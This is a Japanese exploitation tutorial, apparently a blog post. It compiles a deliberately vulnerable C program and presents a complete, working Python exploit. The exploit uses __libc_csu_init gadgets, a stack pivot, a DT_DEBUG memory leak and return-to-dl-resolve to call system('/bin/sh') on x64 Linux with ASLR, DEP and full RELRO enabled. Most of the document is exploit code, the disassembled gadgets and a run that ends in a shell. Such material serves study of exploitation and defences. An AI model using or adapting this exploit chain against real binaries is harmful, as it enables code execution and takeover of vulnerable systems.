x64でROP stager + Return-to-dl-resolve + DT_DEBUG read + __libc_csu_init gadgetsによるASLR+DEP+RELRO回避をやってみる

「x64でROP stager + Return-to-dl-resolve + DT_DEBUG readによるASLR+DEP+RELRO回避をやってみる」では、rdi、rsi、rdxの各レジスタをpopするROP gadgetを意図的に埋め込んだ上でシェル起動を行った。 ここでは代わりに__libc_csu_init gadgetsを使い、x64環境においてASLR+DEP+RELROが有効な条件下でのシェル起動をやってみる。

環境

Ubuntu 14.04.1 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty

$ gcc --version
gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「x64でDynamic ROP + Return-to-vulnによるASLR+DEP+RELRO回避をやってみる」で使ったものと同じである。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out
AAAA

エクスプロイトコードを書いてみる

最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。

$ readelf -S a.out > dump.txt

$ objdump -d a.out >> dump.txt

上で出力した情報をもとに、__libc_csu_init gadgetsを使いReturn-to-dl-resolve + DT_DEBUG readを行うエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x00000000004002b8  # readelf -S a.out
addr_dynstr = 0x0000000000400330  # readelf -S a.out
addr_relplt = 0x00000000004003b8  # readelf -S a.out
addr_plt = 0x0000000000400440     # readelf -S a.out
addr_bss = 0x0000000000601010     # readelf -S a.out
addr_got_read = 0x600fe0          # objdump -d -j.plt a.out
addr_got_write = 0x600fd8         # objdump -d -j.plt a.out
addr_dt_debug = 0x600e98          # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15)

addr_csu_init1 = 0x00400610       # objdump -d a.out
addr_csu_init2 = 0x00400626       # objdump -d a.out
addr_leave_ret = 0x004005ce       # objdump -d a.out
addr_ret = 0x004005cf             # objdump -d a.out

"""
00000000004005d0 <__libc_csu_init>:
  ...
  400610:       4c 89 ea                mov    rdx,r13
  400613:       4c 89 f6                mov    rsi,r14
  400616:       44 89 ff                mov    edi,r15d
  400619:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40061d:       48 83 c3 01             add    rbx,0x1
  400621:       48 39 eb                cmp    rbx,rbp
  400624:       75 ea                   jne    400610 <__libc_csu_init+0x40>
  400626:       48 83 c4 08             add    rsp,0x8
  40062a:       5b                      pop    rbx
  40062b:       5d                      pop    rbp
  40062c:       41 5c                   pop    r12
  40062e:       41 5d                   pop    r13
  400630:       41 5e                   pop    r14
  400632:       41 5f                   pop    r15
  400634:       c3                      ret
"""

stack_size = 0x800
base_stage = addr_bss + stack_size
size_bulkread = 0x800

buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 1200, base_stage, 0)
buf1 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, base_stage, 0, 0, 0, 0)
buf1 += struct.pack('<Q', addr_leave_ret)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

buf2 = struct.pack('<Q', addr_ret)

# read dt_debug
addr_esp = base_stage + 8
buf2 += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_write, 8, addr_dt_debug, 1)
buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, addr_esp + 8*22, 0)

# read r_debug and link_map
addr_esp += 8*16
buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, size_bulkread, 0x00, 1)  # 0x00 <- addr_r_debug
buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, addr_esp + 8*22, 0)

# read link_map_lib
addr_esp += 8*16
buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, 40, 0x00, 1)             # 0x00 <- addr_link_map_lib
buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, addr_esp + 8*22, 0)

# read link_map_lib2
addr_esp += 8*16
buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, 40, 0x00, 1)             # 0x00 <- addr_link_map_lib2
buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, addr_esp + 8*22, 0)

# read lib_dynamic and lib_gotplt
addr_esp += 8*16
buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, size_bulkread, 0x00, 1)  # 0x00 <- addr_lib_dynamic
buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, addr_esp + 8*22, 0)

# overwrite dt_versym
addr_esp += 8*16
buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, 0x00, 0)               # 0x00 <- addr_dt_versym
buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 16, addr_esp + 8*32, 0)

# call dl_resolve
addr_esp += 8*16
addr_reloc = addr_esp + 8*20
align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18)
addr_reloc += align_reloc
addr_sym = addr_reloc + 24
align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += align_dynsym
addr_symstr = addr_sym + 24
addr_cmd = addr_symstr + 7

reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7
st_name = addr_symstr - addr_dynstr

buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, base_stage, 0, 0, addr_cmd)  # *(base_stage) = addr_ret
buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 0, 0, 0, 0, 0)                  # set rdi = addr_cmd
buf2 += 'AAAAAAAA'  # addr_dl_resolve
buf2 += 'AAAAAAAA'  # addr_link_map
buf2 += struct.pack('<Q', reloc_offset)
buf2 += 'AAAAAAAA'
buf2 += 'A' * align_reloc
buf2 += struct.pack('<Q', addr_bss)  # Elf64_Rela
buf2 += struct.pack('<Q', r_info)
buf2 += struct.pack('<Q', 0)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)   # Elf64_Sym
buf2 += struct.pack('<I', 0x12)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', 0)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (1200-len(buf2))

p.stdin.write(buf2)

data = p.stdout.read(8)
addr_r_debug = struct.unpack('<Q', data)[0]
print "[+] addr_r_debug = %x" % addr_r_debug
p.stdin.write(struct.pack('<Q', addr_r_debug))

data = p.stdout.read(size_bulkread)
addr_link_map = struct.unpack('<Q', data[8:16])[0]
offset = addr_link_map - addr_r_debug
addr_link_map_lib = struct.unpack('<Q', data[offset+24:offset+32])[0]
print "[+] addr_link_map, addr_link_map_lib = %x, %x" % (addr_link_map, addr_link_map_lib)
p.stdin.write(struct.pack('<Q', addr_link_map_lib))

data = p.stdout.read(40)
addr_link_map_lib2 = struct.unpack('<Q', data[24:32])[0]
print "[+] addr_link_map_lib2 = %x" % addr_link_map_lib2
p.stdin.write(struct.pack('<Q', addr_link_map_lib2))

data = p.stdout.read(40)
addr_lib_dynamic = struct.unpack('<Q', data[16:24])[0]
print "[+] addr_lib_dynamic = %x" % addr_lib_dynamic
p.stdin.write(struct.pack('<Q', addr_lib_dynamic))

data = p.stdout.read(size_bulkread)
addr_lib_gotplt = struct.unpack('<Q', data.split('\x03\x00\x00\x00\x00\x00\x00\x00')[1][:8])[0]
offset = addr_lib_gotplt - addr_lib_dynamic
addr_dl_resolve = struct.unpack('<Q', data[offset+16:offset+24])[0]
print "[+] addr_lib_gotplt, addr_dl_resolve = %x, %x" % (addr_lib_gotplt, addr_dl_resolve)
p.stdin.write(struct.pack('<Q', addr_link_map+0x1c8))

p.stdin.write(struct.pack('<Q', 0))
p.stdin.write(struct.pack('<QQ', addr_dl_resolve, addr_link_map))

p.wait()

このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。

  1. __libc_csu_init gadgetsを使ってread関数を呼び出し、stack pivotを行う
  2. DT_DEBUG readにより、共有ライブラリのGOTセクションから_dl_runtime_resolve関数およびlink_map構造体のアドレスを読み出す
  3. Return-to-dl-resolveにより、system関数を呼び出す

引数をセットし実行してみる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe0\x0f`\x00\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x10\x18`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x18`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xce\x05@\x00\x00\x00\x00\x00'
[+] addr_r_debug = 7f676844c1a0
[+] addr_link_map, addr_link_map_lib = 7f676844c1c8, 7f676844c760
[+] addr_link_map_lib2 = 7f67684494c0
[+] addr_lib_dynamic = 7f6768220ba0
[+] addr_lib_gotplt, addr_dl_resolve = 7f6768221000, 7f676823e4e0
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

上の結果より、意図的にROP gadgetを与えることなく、x64環境かつASLR+DEP+RELROが有効な条件下でシェルが起動できていることが確認できた。